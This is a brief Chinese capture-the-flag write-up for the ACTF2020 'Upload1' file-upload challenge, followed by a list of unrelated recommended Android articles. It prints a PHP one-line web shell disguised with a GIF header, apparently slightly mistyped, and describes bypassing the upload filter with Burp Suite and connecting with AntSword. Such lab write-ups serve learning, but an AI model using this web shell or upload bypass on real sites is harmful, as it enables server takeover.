1、点开题目链接，页面显示如下，上传test.jpg里面包含一句话木马
GIF89a? <script language="php">eval($_REQUEST1)</script>
2、使用bp抓包修改后缀，点击发送
3、不关浏览器的代理，在bp中将该包放行
4、用蚁剑连接
5、在根目录中找到flag
[ACTF2020 新生赛]Upload1
不拿flag不改名2024-09-12 13:20
相关推荐
方白羽16 小时前
Android Gradle 缓存与文件目录深度解析曲幽19 小时前
Termux里的二进制和脚本，到底怎么运行才不踩坑？Termux-service 保活妙招！plainGeekDev20 小时前
单例模式 → object 声明程序员陆业聪20 小时前
读者点单·03｜Compose 与传统 View 混用的 12 个真实坑程序员陆业聪21 小时前
读者点单·02｜Android 启动优化实战：Trace 抓取→Application 编排→冷启动全流程拆解Coffeeee21 小时前
帮你快速理解AI Agent之我想招个Android实习生恋猫de小郭1 天前
苹果 AirPods 协议，Android 也可以使用完整版 AirPods 能力黄林晴1 天前
告别无效重建：Gradle 9.6.0 解决 CI 构建缓存失效痛点告别无效重建:Gradle 9.6.0 解决 CI 建筑缓存失效痛点张风捷特烈1 天前
Flutter 类库大揭秘#01 | path_provider架构与设计_阿南_1 天前
Android文件读写和分享总结